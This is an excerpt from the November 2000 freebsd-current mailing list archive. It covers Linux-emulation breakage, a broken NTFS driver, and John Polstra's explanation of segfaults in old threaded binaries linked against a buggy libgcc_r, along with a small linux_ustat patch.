18:19:20 +0100 (MET) Received: from cicely8.cicely.de (cicely8.cicely.de [10.1.2.10]) by mail.cicely.de (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id eA1HJAf04915 for ; Wed, 1 Nov 2000 18:19:12 +0100 (CET) Received: (from ticso@localhost) by cicely8.cicely.de (8.11.0/8.9.2) id eA1HJ9X33992 for freebsd-current@freebsd.org; Wed, 1 Nov 2000 18:19:09 +0100 (CET) (envelope-from ticso) Date: Wed, 1 Nov 2000 18:19:08 +0100 From: Bernd Walter To: freebsd-current@freebsd.org Subject: Using tape drives in linux emulation Message-ID: <20001101181907.A33365@cicely8.cicely.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems that linux progs are using foreign ioctls on tape drives which of course will fail. Is there anyone already working on an emulation for these? Are there similar problems for seriel devices? -- B.Walter COSMO-Project http://www.cosmo-project.de ticso@cicely.de Usergroup info@cosmo-project.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 9:25:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from blizzard.sabbo.net (blizzard.sabbo.net [193.193.218.18]) by hub.freebsd.org (Postfix) with ESMTP id 47D8D37B4C5; Wed, 1 Nov 2000 09:25:25 -0800 (PST) Received: from vic.sabbo.net (root@vic.sabbo.net [193.193.218.109]) by blizzard.sabbo.net (8.10.1/8.10.1) with ESMTP id eA1IREt03779; Wed, 1 Nov 2000 20:27:14 +0200 Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vic.sabbo.net (8.11.0/8.9.3) with ESMTP id eA1HPOM16025; Wed, 1 Nov 2000 19:25:24 +0200 (EET) (envelope-from sobomax@FreeBSD.org) Message-ID: <3A0051FF.2DE6B18C@FreeBSD.org> Date: Wed, 01 Nov 2000 19:25:19 +0200 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: current@FreeBSD.org Cc: bp@FreeBSD.org Subject: NTFS driver broken Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I wonder if anyone noticed, but as of today's current NTFS driver is broken. I can mount a volume, list files on it, but when I'm trying to read any file I have famous "Inappropriate ioctl...". Can someone look what is wrong with it? -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 9:44:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from goliath.siemens.de (goliath.siemens.de [194.138.37.131]) by hub.freebsd.org (Postfix) with ESMTP id 74F5237B479; Wed, 1 Nov 2000 09:44:41 -0800 (PST) X-Envelope-Sender-Is: ust@cert.siemens.de (at relayer goliath.siemens.de) Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by goliath.siemens.de (8.11.0/8.11.0) with ESMTP id eA1Hidl16692; Wed, 1 Nov 2000 18:44:39 +0100 (MET) Received: from mars.cert.siemens.de (ust.mchp.siemens.de [139.23.201.17]) by mail1.siemens.de (8.11.0/8.11.0) with ESMTP id eA1Hick12221; Wed, 1 Nov 2000 18:44:38 +0100 (MET) Received: from alaska.cert.siemens.de (reims.mchp.siemens.de [139.23.202.134]) by mars.cert.siemens.de (8.11.1/8.11.1/Siemens CERT [ $Revision: 1.8 ]) with ESMTP id eA1Hich00649; Wed, 1 Nov 2000 18:44:38 +0100 (CET) Received: (from ust@localhost) by alaska.cert.siemens.de (8.11.1/8.11.1/alaska [ $Revision: 1.4 ]) id eA1Hicp02288; Wed, 1 Nov 2000 18:44:38 +0100 (CET) (envelope-from ust) Date: Wed, 1 Nov 2000 18:44:38 +0100 From: Udo Schweigert To: Maxim Sobolev Cc: current@FreeBSD.ORG, jdp@FreeBSD.ORG, obrien@FreeBSD.ORG Subject: Re: ABI is broken?? Message-ID: <20001101184438.A2269@alaska.cert.siemens.de> References: <3A005026.47B9978C@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3A005026.47B9978C@FreeBSD.org>; from sobomax@FreeBSD.ORG on Wed, Nov 01, 2000 at 07:17:26PM +0200 X-Operating-System: FreeBSD 4.2-BETA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Nov 01, 2000 at 19:17:26 +0200, Maxim Sobolev wrote: > Hi, > > I'm not sure what exactly caused this behaviour (I can guess two potential > victims: O'Brien's changes in crt stuff and recent Polstra's changes in > libgcc_r), but it seems that some programs built on the previous -current from > 27 October immediately segfault when I'm trying to run then on system installed > from today's sources. The segfault disappeared when I recompiled affected > program. With this message I'm attaching short backtrace. > > -Maxim > > #0 0x287de417 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 > Same for me in -stable (4.2-BETA) and python-1.6. After rebuilding the port this disappeared. My gdb showed the same error message as the quoted above. Regards. -- Udo Schweigert, Siemens AG | Voice : +49 89 636 42170 ZT IK 3, Siemens CERT | Fax : +49 89 636 41166 D-81730 Muenchen / Germany | email : ust@cert.siemens.de PGP-2/5 fingerprint | D8 A5 DF 34 EC 87 E8 C6 E2 26 C4 D0 EE 80 36 B2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 10: 6:27 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 618) id F3EA537B4C5; Wed, 1 Nov 2000 10:06:24 -0800 (PST) Subject: Re: "Driver Floppy" implementation (Re: "make release" breakage - dokern.sh patch 2) In-Reply-To: from Nick Hibma at "Nov 1, 2000 10:38:46 am" To: n_hibma@qubesoft.com (Nick Hibma) Date: Wed, 1 Nov 2000 10:06:24 -0800 (PST) Cc: takawata@shidahara1.planet.sci.kobe-u.ac.jp, hosokawa@freebsd.org, current@freebsd.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Message-Id: <20001101180624.F3EA537B4C5@hub.freebsd.org> From: wpaul@FreeBSD.ORG (Bill Paul) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >I'm not sure whether the problem of loading secondary usb modules is a >problem in 4.x but it is easy to try. >Boot a machine without usb support compiled in. after login, kldload >usb, then the miibus and then the if_aue modules. If that works, you >should be ok. >I cannot test this as at the moment as I don't have a STABLE box (will >have once the first RC comes out of JKH factories). I usually do the following: # kldload usb (probes USB controllers) # kldload miibus # kldload if_aue # usbd -f /dev/usb0 If the device has already been plugged in, starting usbd will cause it to be probed/attached by the aue driver. If not, it will be detected when it's plugged in later. -Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 10:35:56 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 2FEE037B4C5; Wed, 1 Nov 2000 10:35:52 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id KAA28936; Wed, 1 Nov 2000 10:35:48 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.0/8.11.0) id eA1IZl207585; Wed, 1 Nov 2000 10:35:47 -0800 (PST) (envelope-from jdp) Date: Wed, 1 Nov 2000 10:35:47 -0800 (PST) Message-Id: <200011011835.eA1IZl207585@vashon.polstra.com> To: current@freebsd.org From: John Polstra Cc: sobomax@freebsd.org, obrien@freebsd.org, deischen@freebsd.org Subject: Re: ABI is broken?? In-Reply-To: <3A005026.47B9978C@FreeBSD.org> References: <3A005026.47B9978C@FreeBSD.org> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <3A005026.47B9978C@FreeBSD.org>, Maxim Sobolev wrote: > > I'm not sure what exactly caused this behaviour (I can guess two potential > victims: O'Brien's changes in crt stuff and recent Polstra's changes in > libgcc_r), but it seems that some programs built on the previous -current from > 27 October immediately segfault when I'm trying to run then on system installed > from today's sources. The segfault disappeared when I recompiled affected > program. With this message I'm attaching short backtrace. [...] > Program received signal SIGSEGV, Segmentation fault. > 0x287de417 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 > (gdb) bt > #0 0x287de417 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 > #1 0x806e782 in __register_frame_info () > #2 0x287a3137 in _init () from /usr/lib/libc_r.so.4 > #3 0x2879ffe5 in _init () from /usr/lib/libc_r.so.4 > #4 0x280797fd in _rtld () from /usr/libexec/ld-elf.so.1 Here are all the random facts which, when put together, explain what is going on. Your old application was (like all -pthread programs) linked with "/usr/lib/libgcc_r.a". That library contains a function "__register_frame_info" which uses some of the facilities of the pthreads library "libc_r". The pthreads library has to be initialized before it can be used, by a call to _thread_init. If some functions such as pthread_mutex_lock are called before the library has been initialized, a segmentation violation results. _thread_init is called automatically from libc_r's _init function when the dynamic linker loads the library. Unfortunately, that isn't early enough. libgcc_r is the first thing to be initialized, and it calls pthread_mutex_lock before _thread_init has been called. Or rather I should say that OLD versions of libgcc_r did that -- because they were buggy. In other words, your old application was linked with a buggy version of libgcc_r, but it didn't become apparent until now. It didn't become apparent until now because our crtbegin.o and crtend.o were also buggy. They failed to call __register_frame_info. This was a problem for C++ programs using exceptions, especially when the gcc port was used and DWARF2 exception handling was selected. Now we have fixed crtbegin.o and crtend.o, and we have fixed libgcc_r.a. But it causes problems for your old application because the new crtbegin.o and crtend.o (linked into the new shared libraries such as libc_r) call __register_frame_info in your old, buggy, statically linked libgcc_r.a. Are you dizzy yet? To sum up, your old executable contains the bug but it wasn't triggered until the recent changes. Now, what can or should we do about this? Arguably we should simply say in the release notes, "Relink your old multithreaded applications. They had a bug which is now fixed." But if there are binary-only commercial apps which exhibit the problem, this solution is useless. I don't know whether there are any such apps, but I doubt it. N.B., Linux apps don't count because they were never linked with our libgcc_r in the first place. Or we can try to work around it, but there aren't any perfectly nice ways to do so. Here are some possibilities: - Put a hack in the threads library so that whenever pthread_mutex_lock is called it checks to make sure that the threads library has been initialized, and if not, it calls _thread_init. This is a poor solution because it adds overhead to a rather performance-critical function -- though admittedly the overhead is very small. Another potential problem is that there could be a race condition if several threads all called pthread_mutex_lock at once before the threads library had been initialized. I don't think the race condition would materialize, though, since the first call would come from libgcc_r, well before the application had gotten control. - Put a hack into the dynamic linker to call _thread_init very early if that symbol was defined. I like this solution even less, because it's too hackish. The dynamic linker isn't the place for special hooks like that. - Put a hack into crtbegin.o or crtend.o. But we are using the standard GNU versions of these, and I really really don't want to change that. In any case, it's the wrong place for the work-around. Overall I would lean toward putting the hack into pthread_mutex_lock. Comments? John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 10:37:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id EE85037B479; Wed, 1 Nov 2000 10:37:36 -0800 (PST) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.3/8.9.3) with ESMTP id NAA27611; Wed, 1 Nov 2000 13:37:36 -0500 (EST) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.11.1/8.9.1) id eA1Ibao05491; Wed, 1 Nov 2000 13:37:36 -0500 (EST) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Wed, 1 Nov 2000 13:37:36 -0500 (EST) To: Marcel Moolenaar Cc: phk@freebsd.org, freebsd-current@freebsd.org Subject: Re: linux emulation In-Reply-To: <39FFBF64.FEF8AB30@cup.hp.com> References: <39FFBF64.FEF8AB30@cup.hp.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14848.25175.990127.871765@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Marcel Moolenaar writes: > Wesley Morgan wrote: > > > > Anyone having problems with the linuxulator the past couple days? > > Define "past couple of days". I have a working linuxulator made on Oct > 29, 12:25 PST. phk took away mkbdev on 10/31. The following "fixes" it, but I have no idea if it is correct: Drew Index: compat/linux/linux_stats.c =================================================================== RCS file: /home/ncvs/src/sys/compat/linux/linux_stats.c,v retrieving revision 1.22 diff -u -r1.22 linux_stats.c --- compat/linux/linux_stats.c 2000/08/22 01:51:11 1.22 +++ compat/linux/linux_stats.c 2000/11/01 18:34:05 @@ -360,8 +379,8 @@ * dev_t returned from previous syscalls. Just return a bzeroed * ustat in that case. */ - dev = makebdev(uap->dev >> 8, uap->dev & 0xFF); - if (vfinddev(dev, VBLK, &vp)) { + dev = makedev(uap->dev >> 8, uap->dev & 0xFF); + if (vfinddev(dev, VCHR, &vp)) { if (vp->v_mount == NULL) return (EINVAL); stat = &(vp->v_mount->mnt_stat); To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 10:52:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id 9F05937B4D7 for ; Wed, 1 Nov 2000 10:52:49 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.9.3) with ESMTP id eA1IoDu22111; Wed, 1 Nov 2000 19:50:13 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Andrew Gallatin Cc: Marcel Moolenaar , freebsd-current@freebsd.org Subject: Re: linux emulation In-Reply-To: Your message of "Wed, 01 Nov 2000 13:37:36 EST." <14848.25175.990127.871765@grasshopper.cs.duke.edu> Date: Wed, 01 Nov 2000 19:50:13 +0100 Message-ID: <22109.973104613@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I was just looking at that piece of code, and I couldn't entirely make out what it was even trying to do. Can somebody more linuxolator savy explain what the function linux_ustat() should produce. I also find this comment rather interesting... /* * XXX - Don't return an error if we can't find a vnode for the * device. Our dev_t is 32-bits whereas Linux only has a 16-bits * dev_t. The dev_t that is used now may as well be a truncated * dev_t returned from previous syscalls. Just return a bzeroed * ustat in that case. */ Poul-Henning In message <14848.25175.990127.871765@grasshopper.cs.duke.edu>, Andrew Gallatin writes: > >Marcel Moolenaar writes: > > Wesley Morgan wrote: > > > > > > Anyone having problems with the linuxulator the past couple days? > > > > Define "past couple of days". I have a working linuxulator made on Oct > > 29, 12:25 PST. > >phk took away mkbdev on 10/31. The following "fixes" it, but I >have no idea if it is correct: > >Drew > >Index: compat/linux/linux_stats.c >=================================================================== >RCS file: /home/ncvs/src/sys/compat/linux/linux_stats.c,v >retrieving revision 1.22 >diff -u -r1.22 linux_stats.c >--- compat/linux/linux_stats.c 2000/08/22 01:51:11 1.22 >+++ compat/linux/linux_stats.c 2000/11/01 18:34:05 >@@ -360,8 +379,8 @@ > * dev_t returned from previous syscalls. Just return a bzeroed > * ustat in that case. > */ >- dev = makebdev(uap->dev >> 8, uap->dev & 0xFF); >- if (vfinddev(dev, VBLK, &vp)) { >+ dev = makedev(uap->dev >> 8, uap->dev & 0xFF); >+ if (vfinddev(dev, VCHR, &vp)) { > if (vp->v_mount == NULL) > return (EINVAL); > stat = &(vp->v_mount->mnt_stat); > -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 11: 1: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3]) by hub.freebsd.org (Postfix) with ESMTP id 5658E37B4C5; Wed, 1 Nov 2000 11:01:04 -0800 (PST) Received: (from eischen@localhost) by pcnet1.pcnet.com (8.8.7/PCNet) id OAA07648; Wed, 1 Nov 2000 14:00:36 -0500 (EST) Date: Wed, 1 Nov 2000 14:00:35 -0500 (EST) From: Daniel Eischen To: John Polstra Cc: current@freebsd.org, sobomax@freebsd.org, obrien@freebsd.org, deischen@freebsd.org Subject: Re: ABI is broken?? In-Reply-To: <200011011835.eA1IZl207585@vashon.polstra.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 1 Nov 2000, John Polstra wrote: > In article <3A005026.47B9978C@FreeBSD.org>, > Maxim Sobolev wrote: > > > > I'm not sure what exactly caused this behaviour (I can guess two potential > > victims: O'Brien's changes in crt stuff and recent Polstra's changes in > > libgcc_r), but it seems that some programs built on the previous -current from > > 27 October immediately segfault when I'm trying to run then on system installed > > from today's sources. The segfault disappeared when I recompiled affected > > program. With this message I'm attaching short backtrace. > [...] > > Program received signal SIGSEGV, Segmentation fault. > > 0x287de417 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 > > (gdb) bt > > #0 0x287de417 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 > > #1 0x806e782 in __register_frame_info () > > #2 0x287a3137 in _init () from /usr/lib/libc_r.so.4 > > #3 0x2879ffe5 in _init () from /usr/lib/libc_r.so.4 > > #4 0x280797fd in _rtld () from /usr/libexec/ld-elf.so.1 > > Here are all the random facts which, when put together, explain what > is going on. > > Your old application was (like all -pthread programs) linked > with "/usr/lib/libgcc_r.a". That library contains a function > "__register_frame_info" which uses some of the facilities of the > pthreads library "libc_r". > > The pthreads library has to be initialized before it can be used, by > a call to _thread_init. If some functions such as pthread_mutex_lock > are called before the library has been initialized, a segmentation > violation results. > > _thread_init is called automatically from libc_r's _init function > when the dynamic linker loads the library. Unfortunately, that > isn't early enough. libgcc_r is the first thing to be initialized, > and it calls pthread_mutex_lock before _thread_init has been called. > Or rather I should say that OLD versions of libgcc_r did that -- > because they were buggy. > > In other words, your old application was linked with a buggy version > of libgcc_r, but it didn't become apparent until now. > > It didn't become apparent until now because our crtbegin.o and > crtend.o were also buggy. They failed to call __register_frame_info. > This was a problem for C++ programs using exceptions, especially when > the gcc port was used and DWARF2 exception handling was selected. > > Now we have fixed crtbegin.o and crtend.o, and we have fixed > libgcc_r.a. But it causes problems for your old application because > the new crtbegin.o and crtend.o (linked into the new shared libraries > such as libc_r) call __register_frame_info in your old, buggy, > statically linked libgcc_r.a. > > Are you dizzy yet? Yes ;-) > To sum up, your old executable contains the bug but > it wasn't triggered until the recent changes. > > Now, what can or should we do about this? Arguably we should simply > say in the release notes, "Relink your old multithreaded applications. > They had a bug which is now fixed." But if there are binary-only > commercial apps which exhibit the problem, this solution is useless. > I don't know whether there are any such apps, but I doubt it. N.B., > Linux apps don't count because they were never linked with our > libgcc_r in the first place. > > Or we can try to work around it, but there aren't any perfectly nice > ways to do so. Here are some possibilities: > > - Put a hack in the threads library so that whenever > pthread_mutex_lock is called it checks to make sure that the > threads library has been initialized, and if not, it calls > _thread_init. This is a poor solution because it adds overhead to > a rather performance-critical function -- though admittedly the > overhead is very small. Another potential problem is that there > could be a race condition if several threads all called > pthread_mutex_lock at once before the threads library had been > initialized. I don't think the race condition would materialize, > though, since the first call would come from libgcc_r, well before > the application had gotten control. > > - Put a hack into the dynamic linker to call _thread_init very early > if that symbol was defined. I like this solution even less, > because it's too hackish. The dynamic linker isn't the place for > special hooks like that. > > - Put a hack into crtbegin.o or crtend.o. But we are using the > standard GNU versions of these, and I really really don't want to > change that. In any case, it's the wrong place for the > work-around. > > Overall I would lean toward putting the hack into pthread_mutex_lock. > Comments? If that's the lesser evil, then I guess it's OK with me. -- Dan Eischen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 11: 4:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 23E1E37B4C5 for ; Wed, 1 Nov 2000 11:04:31 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id LAA29210; Wed, 1 Nov 2000 11:04:23 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.0/8.11.0) id eA1J4Np07713; Wed, 1 Nov 2000 11:04:23 -0800 (PST) (envelope-from jdp) Date: Wed, 1 Nov 2000 11:04:23 -0800 (PST) Message-Id: <200011011904.eA1J4Np07713@vashon.polstra.com> To: current@freebsd.org From: John Polstra Cc: eischen@vigrid.com Subject: Re: ABI is broken?? In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article , Daniel Eischen wrote: > > > > Overall I would lean toward putting the hack into pthread_mutex_lock. > > Comments? > > If that's the lesser evil, then I guess it's OK with me. Thanks for replying so quickly. I'll test this to make sure it really works, and then commit it. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 11: 9:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from blizzard.sabbo.net (blizzard.sabbo.net [193.193.218.18]) by hub.freebsd.org (Postfix) with ESMTP id 3735137B479; Wed, 1 Nov 2000 11:09:28 -0800 (PST) Received: from vic.sabbo.net (root@vic.sabbo.net [193.193.218.109]) by blizzard.sabbo.net (8.10.1/8.10.1) with ESMTP id eA1KBCt05948; Wed, 1 Nov 2000 22:11:15 +0200 Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vic.sabbo.net (8.11.0/8.9.3) with ESMTP id eA1J9MM16667; Wed, 1 Nov 2000 21:09:22 +0200 (EET) (envelope-from sobomax@FreeBSD.org) Message-ID: <3A006A58.E8315ABA@FreeBSD.org> Date: Wed, 01 Nov 2000 21:09:12 +0200 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: John Polstra Cc: current@FreeBSD.org, obrien@FreeBSD.org, deischen@FreeBSD.org Subject: Re: ABI is broken?? References: <3A005026.47B9978C@FreeBSD.org> <200011011835.eA1IZl207585@vashon.polstra.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Polstra wrote: > In article <3A005026.47B9978C@FreeBSD.org>, > Maxim Sobolev wrote: > > > > I'm not sure what exactly caused this behaviour (I can guess two potential > > victims: O'Brien's changes in crt stuff and recent Polstra's changes in > > libgcc_r), but it seems that some programs built on the previous -current from > > 27 October immediately segfault when I'm trying to run then on system installed > > from today's sources. The segfault disappeared when I recompiled affected > > program. With this message I'm attaching short backtrace. > [...] > > Program received signal SIGSEGV, Segmentation fault. > > 0x287de417 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 > > (gdb) bt > > #0 0x287de417 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 > > #1 0x806e782 in __register_frame_info () > > #2 0x287a3137 in _init () from /usr/lib/libc_r.so.4 > > #3 0x2879ffe5 in _init () from /usr/lib/libc_r.so.4 > > #4 0x280797fd in _rtld () from /usr/libexec/ld-elf.so.1 > > Here are all the random facts which, when put together, explain what > is going on. > > Your old application was (like all -pthread programs) linked > with "/usr/lib/libgcc_r.a". That library contains a function > "__register_frame_info" which uses some of the facilities of the > pthreads library "libc_r". > > The pthreads library has to be initialized before it can be used, by > a call to _thread_init. If some functions such as pthread_mutex_lock > are called before the library has been initialized, a segmentation > violation results. > > _thread_init is called automatically from libc_r's _init function > when the dynamic linker loads the library. Unfortunately, that > isn't early enough. libgcc_r is the first thing to be initialized, > and it calls pthread_mutex_lock before _thread_init has been called. > Or rather I should say that OLD versions of libgcc_r did that -- > because they were buggy. > > In other words, your old application was linked with a buggy version > of libgcc_r, but it didn't become apparent until now. > > It didn't become apparent until now because our crtbegin.o and > crtend.o were also buggy. They failed to call __register_frame_info. > This was a problem for C++ programs using exceptions, especially when > the gcc port was used and DWARF2 exception handling was selected. > > Now we have fixed crtbegin.o and crtend.o, and we have fixed > libgcc_r.a. But it causes problems for your old application because > the new crtbegin.o and crtend.o (linked into the new shared libraries > such as libc_r) call __register_frame_info in your old, buggy, > statically linked libgcc_r.a. > > Are you dizzy yet? To sum up, your old executable contains the bug but > it wasn't triggered until the recent changes. > > Now, what can or should we do about this? Arguably we should simply > say in the release notes, "Relink your old multithreaded applications. > They had a bug which is now fixed." But if there are binary-only > commercial apps which exhibit the problem, this solution is useless. > I don't know whether there are any such apps, but I doubt it. N.B., > Linux apps don't count because they were never linked with our > libgcc_r in the first place. > > Or we can try to work around it, but there aren't any perfectly nice > ways to do so. Here are some possibilities: > > - Put a hack in the threads library so that whenever > pthread_mutex_lock is called it checks to make sure that the > threads library has been initialized, and if not, it calls > _thread_init. This is a poor solution because it adds overhead to > a rather performance-critical function -- though admittedly the > overhead is very small. Another potential problem is that there > could be a race condition if several threads all called > pthread_mutex_lock at once before the threads library had been > initialized. I don't think the race condition would materialize, > though, since the first call would come from libgcc_r, well before > the application had gotten control. > > - Put a hack into the dynamic linker to call _thread_init very early > if that symbol was defined. I like this solution even less, > because it's too hackish. The dynamic linker isn't the place for > special hooks like that. > > - Put a hack into crtbegin.o or crtend.o. But we are using the > standard GNU versions of these, and I really really don't want to > change that. In any case, it's the wrong place for the > work-around. > > Overall I would lean toward putting the hack into pthread_mutex_lock. > Comments? Huh, why we can't just bump libc_r version number and put older (buggy) version into lib/compat as usually? This would not require any ugly hacks at all. -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 11:14:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 720F437B4CF; Wed, 1 Nov 2000 11:14:08 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id LAA29313; Wed, 1 Nov 2000 11:14:07 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.0/8.11.0) id eA1JE7c07768; Wed, 1 Nov 2000 11:14:07 -0800 (PST) (envelope-from jdp) Date: Wed, 1 Nov 2000 11:14:07 -0800 (PST) Message-Id: <200011011914.eA1JE7c07768@vashon.polstra.com> To: current@freebsd.org From: John Polstra Cc: sobomax@freebsd.org Subject: Re: ABI is broken?? In-Reply-To: <3A006A58.E8315ABA@FreeBSD.org> References: <3A005026.47B9978C@FreeBSD.org> <200011011835.eA1IZl207585@vashon.polstra.com> <3A006A58.E8315ABA@FreeBSD.org> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <3A006A58.E8315ABA@FreeBSD.org>, Maxim Sobolev wrote: > John Polstra wrote: > > Overall I would lean toward putting the hack into pthread_mutex_lock. > > Comments? > > Huh, why we can't just bump libc_r version number and put older (buggy) version into > lib/compat as usually? This would not require any ugly hacks at all. The bug wasn't in libc_r -- it was in libgcc_r. That's a static library, so it doesn't have a version number. And it is statically linked into old executables. Nothing we do to libgcc_r will help old executables, because they won't even use the new libgcc_r. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 11:16:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from picalon.gun.de (picalon.gun.de [192.109.159.1]) by hub.freebsd.org (Postfix) with ESMTP id 5BEC037B4CF for ; Wed, 1 Nov 2000 11:16:28 -0800 (PST) Received: (from uucp@localhost) by picalon.gun.de (8.9.3/8.9.3) id UAA11828; Wed, 1 Nov 2000 20:15:57 +0100 (MET) >Received: (from andreas@localhost) by klemm.gtn.com (8.11.1/8.11.1) id eA1J6U719271; Wed, 1 Nov 2000 20:06:30 +0100 (CET) (envelope-from andreas) Date: Wed, 1 Nov 2000 20:06:30 +0100 From: Andreas Klemm To: janb@cs.utep.edu Cc: "Daniel O'Connor" , freebsd-current@FreeBSD.ORG Subject: Re: making an install CD Message-ID: <20001101200630.A14197@titan.klemm.gtn.com> References: Mime-Version: 1.0 Content-Disposition: inline User-Agent: 